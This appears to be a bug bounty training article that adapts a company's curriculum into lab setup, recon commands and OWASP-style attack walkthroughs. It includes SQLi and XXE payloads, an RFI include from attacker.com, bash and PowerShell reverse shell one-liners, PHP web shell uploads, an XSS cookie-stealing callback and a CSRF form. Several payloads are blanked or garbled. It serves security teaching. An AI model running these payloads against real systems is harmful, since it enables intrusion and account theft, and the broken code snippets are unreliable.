Introduction:
The global bug bounty market paid out over $300 million last year, with tech giants like Google, Microsoft, and the Pentagon actively rewarding ethical hackers who uncover critical vulnerabilities. Yet most aspiring bounty hunters fail—not from lack of curiosity, but from the absence of a structured, hands‑on roadmap. This article transforms the curriculum of Ignite Technologies’ Bug Bounty Training Program into a practical, step‑by‑step technical guide, covering OWASP Top 10 exploitation, lab setup, reconnaissance, and advanced attack vectors including LFI, RFI, OS command injection, XSS, CSRF, SQLi, XXE, and more.
Learning Objectives:
- Build a complete pentesting laboratory on Linux or Windows to safely practice web application attacks.
- Execute manual and automated exploitation techniques for the OWASP Top 10 vulnerabilities, from SQL injection to file inclusion.
- Develop a professional bug bounty workflow—recon, attack, privilege escalation, and reporting—aligned with HackerOne, Bugcrowd, and Intigriti.
You Should Know:
- Pentest Lab Setup – Isolated Environment for Safe Exploitation
Before touching any live program, you need an isolated, legal playground. This guide uses VirtualBox, Kali Linux, and deliberately vulnerable applications (DVWA, bWAPP, or VulnHub machines). A proper lab prevents legal issues and contains malicious payloads.
Step‑by‑step guide (Linux & Windows):
- Install VirtualBox (Windows: download from virtualbox.org; Linux:
sudo apt install virtualbox -y). - Download Kali Linux (official ISO) and create a VM (2 GB RAM, 20 GB disk, NAT network).
- Install a vulnerable target – Deploy OWASP Broken Web Applications (BWA) VM, or use Docker:
On Kali or any Linux host sudo docker pull vulnerables/web-dvwa sudo docker run --rm -p 80:80 vulnerables/web-dvwa
For Windows, install Docker Desktop, then run the same commands in PowerShell (admin).
- Verify connectivity: From Kali, `ping
` and access `http://target_IP` in Firefox. - Configure Burp Suite Community Edition (download from PortSwigger) as a proxy on
127.0.0.1:8080. Install FoxyProxy extension to toggle proxy quickly.
Why this matters: You can now test every attack below without any legal risk. Always keep your lab isolated from production networks.
- Information Gathering & Reconnaissance – The Art of Digital Mapping
Reconnaissance is 80% of successful bug bounty. Attackers don’t guess – they enumerate subdomains, directories, and exposed services. Use both passive (no direct contact) and active (direct probes) techniques.
Key commands (Linux/Kali):
- Passive subdomain discovery (using certificate transparency and search engines):
Using assetfinder echo "target.com" | assetfinder --subs-only Using amass in passive mode amass enum -passive -d target.com -o subdomains.txt
- Active DNS brute‑force:
Using gobuster gobuster dns -d target.com -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -o active_subs.txt
- Port scanning with Nmap – focus on web ports:
sudo nmap -sS -p 80,443,8080,8443 -iL active_subs.txt -oA web_scan Service version detection sudo nmap -sV -sC -p 80,443,8080,8443 <target_IP>
- Directory & file brute‑forcing:
Using dirb (built into Kali) dirb https://target.com /usr/share/wordlists/dirb/common.txt Using ffuf for speed ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -o dirs.txt
Windows alternative: Use `nmap.exe` from the official installer, and run `dirb` via WSL (Windows Subsystem for Linux) or use `dirb` equivalent like `dirb` in Git Bash.
Pro tip: Automate recon with tools like `Subjack` for subdomain takeover and `httpx` to filter live hosts.
- SQL Injection & XXE Injection – Data Leakage and Server‑Side Attacks
SQL injection remains a top OWASP risk. XXE (XML External Entity) allows reading local files or performing SSRF. Both can lead to full database compromise or internal network scanning.
Manual SQLi example (error‑based):
- Target lab: DVWA login page.
- Input `’ OR ‘1’=’1′ — ` in username field (bypass authentication).
- For data extraction, use
UNION:' UNION SELECT user(), database() --
- To enumerate tables (MySQL):
' UNION SELECT table_name, column_name FROM information_schema.columns --
Using sqlmap (automated):
Capture request with Burp, save as req.txt, then: sqlmap -r req.txt --batch --dbs Dump a specific table sqlmap -r req.txt -D database_name -T users --dump
XXE injection – reading /etc/passwd:
- Find any XML input (e.g., user profile update, SOAP API).
- Replace the XML body with:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <data>&xxe;</data>
- On Windows, try
file:///c:/windows/win.ini. If successful, you can also perform SSRF: `` (cloud metadata).
Mitigation: Use parameterized queries for SQL; disable external entity processing in XML parsers.
- Local File Inclusion (LFI) & Remote File Inclusion (RFI) – From Read to Remote Code
LFI allows reading arbitrary files on the server. RFI (if allow_url_include=On) lets you execute remote PHP code. Both can escalate to full shell access.
Step‑by‑step LFI exploitation:
- Identify a parameter like `?page=about.html` – change to
?page=../../../../etc/passwd. - For Windows:
?page=../../../../windows/win.ini. - If filters block
../, try double encoding (%252e%252e%252f) or using `….//` (bypasses simple replace). - To get code execution via LFI (PHP): upload a malicious file (e.g., via file upload) then include it. Or use PHP wrappers:
?page=php://filter/convert.base64-encode/resource=config.php
Decode the base64 output to see source code.
RFI example (only works on misconfigured servers):
?page=http://attacker.com/shell.txt
If the server executes the remote file as PHP, your `shell.txt` (containing <?php system($_GET['cmd']); ?>) gives RCE.
Linux command to test for wrappers:
curl "http://target.com/vuln.php?page=php://filter/convert.base64-encode/resource=index.php"
Windows PowerShell alternative:
Invoke-WebRequest -Uri "http://target.com/vuln.php?page=php://filter/convert.base64-encode/resource=index.php" | Select-Object -Expand Content
- OS Command Injection & PHP Web Shells – Gaining Interactive Access
Command injection occurs when user input is passed unsanitized to a shell. Combine with a web shell to maintain persistent access.
Testing for command injection (Linux target):
- Input `; ls` or `| id` or `$(whoami)` in any form field (e.g., ping test tool, file name).
- Observe output – if `uid=33(www-data)` appears, you have injection.
- Reverse shell one‑liner (listener on attacker machine):
- Attacker: `nc -lvnp 4444`
– Injected command: `; bash -c ‘bash -i >& /dev/tcp//4444 0>&1’`
– On Windows target: - Listener: `nc -lvnp 4444`
– Injected: `& powershell -c “$client = New-Object System.Net.Sockets.TCPClient(‘‘,4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -1e 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()”`
Uploading a PHP web shell:
- Find unrestricted file upload (e.g., avatar, document upload).
- Craft `shell.php` with content: ``
– Bypass client‑side validation: change `Content-Type` to `image/jpeg` using Burp, or rename toshell.php.jpg. - After upload, access `https://target.com/uploads/shell.php?cmd=id` – you should see command output.
Defense: Never use system(), exec(), or backticks with user input. Use `escapeshellarg()` if absolutely necessary.
- Cross‑Site Scripting (XSS) & CSRF – Hijacking Sessions and Forging Requests
XSS injects malicious scripts into trusted websites. CSRF forces authenticated users to perform unwanted actions. Together they enable account takeover.
Reflected XSS test (immediate execution):
- Input `` into a search box or parameter.
- If an alert pops up, it’s vulnerable.
- For blind XSS (admin panel), use a payload that calls back:
<script>fetch('https://your-callback.com/steal?cookie='+document.cookie)</script>
Stored XSS (persistent):
- Post `` in comment or profile fields.
- Every visitor will execute it – steal session tokens, force password changes.
CSRF demonstration:
- Assume a change‑email endpoint: `POST /change_email` with param
[email protected], authenticated by cookie only (no CSRF token). - Attacker crafts an HTML page:
</li> </ul> <form action="https://target.com/change_email" method="POST"> <input type="hidden" name="email" value="[email protected]"> </form> <script>document.forms[bash].submit();</script>
– When logged‑in victim visits the attacker’s site, email changes.
Mitigation: Use CSP headers, `HttpOnly` flags, CSRF tokens, and `SameSite` cookies.
- Reporting & Bug Bounty Platforms – Turning Findings into Payouts
After finding a vulnerability, professional reporting is what separates script kiddies from bounty hunters. Platforms like HackerOne, Bugcrowd, and Intigriti reward clear, reproducible evidence.
Structure of a good bug report:
- Short and descriptive (e.g., “Reflected XSS in search parameter leads to session hijacking”).
- Severity: Based on CVSS v3.1 (use calculator).
- Steps to Reproduce (PoC): Provide exact URL, payload, and any custom commands.
- Impact: Real‑world consequence (e.g., “Attacker can steal admin cookies and take over accounts”).
- Remediation: Suggest a fix (e.g., “Escape HTML output on user‑supplied data and implement a Content Security Policy”).
- Attachments: Screenshots, video, or a `curl` command demonstrating the exploit.
Example `curl` command for SQLi proof:
curl -X GET "https://target.com/product?id=1' UNION SELECT username,password FROM users--" --cookie "session=abcd"
Linux command to generate a report PDF:
Using pandoc echo -e " XSS in Comment Section\n\nSteps:\n1. ...\nPayload: <code><script>...</code>" | pandoc -o report.pdf
Windows alternative: Use `cURL` in Command Prompt or PowerShell with identical syntax.
Bonus tip: Always check the program’s scope and disclosure policy. Never test on domains not explicitly allowed.
What Undercode Say:
- Key Takeaway 1: A structured, lab‑first approach is non‑negotiable – mastering OWASP Top 10 manually (not just running automated scanners) directly translates to higher bounties because you find business‑logic flaws and chained vulnerabilities.
- Key Takeaway 2: The most lucrative bugs are rarely single issues; they are exploit chains (e.g., LFI + file upload + reverse shell). Training that combines multiple techniques gives you the edge over 90% of beginners.
Analysis (approx. 10 lines): The Ignite Technologies program correctly emphasizes both breadth (20+ topics) and depth – from netcat to XXE. However, the real value lies in the “bonus section” and the mentorship approach. Bug bounty platforms report that fewer than 5% of registered hackers earn the majority of rewards. The missing piece for most is not tool knowledge but the ability to think like a threat actor under time constraints. A curriculum that blends configuration management testing (often ignored) with modern cloud misconfigurations (S3 bucket permissions, IAM roles) would future‑proof the training. Additionally, integrating AI‑assisted recon (e.g., using GPT‑generated custom wordlists) can accelerate initial enumeration. The inclusion of PHP web shells and OS command injection is excellent, but adding container breakout techniques (Docker, Kubernetes) would address enterprise targets. Overall, the roadmap is solid for 2024, provided students supplement it with continuous live‑target practice on platforms like HackTheBox and TryHackMe before moving to paid bounties.
Expected Output:
Introduction: Bug bounty is a $300M+ economy driven by structured learning. This article transforms Ignite Technologies’ comprehensive curriculum into actionable labs and commands, covering OWASP Top 10 from SQLi to XXE, plus recon, shells, and reporting. By following the step‑by‑step guides, beginners and intermediates can build a hacker’s mindset and start earning bounties legally.
What Undercode Say:
- A structured lab roadmap beats random YouTube tutorials – manual exploitation of LFI, XSS, and command injection yields critical vulnerabilities that scanners miss.
- Chaining multiple low‑severity issues (e.g., open redirect + CSRF + stored XSS) often leads to critical impact and higher payouts, a skill explicitly trained in the program.
Prediction:
-1 The rapid growth of bug bounties has led to platform saturation – more hunters competing for the same pools, pushing average payouts down for common bugs like reflected XSS or basic SQLi.
+1 However, specialized skills (graphQL injection, server‑side template injection, cloud misconfigurations) remain underserved; programs that incorporate AI‑driven recon and API security will see their graduates dominate top leaderboards.
-1 Regulatory pressure (e.g., EU’s NIS2, US’s FTC rules) may force stricter disclosure windows, reducing the time hunters have to validate and report findings before patches are rushed.
+1 The rise of private bug bounty programs and VDPs (vulnerability disclosure programs) with guaranteed minimum bounties creates a more stable income stream for intermediate hunters who complete structured training like the one offered by Ignite Technologies.🎯Let’s Practice For Free:
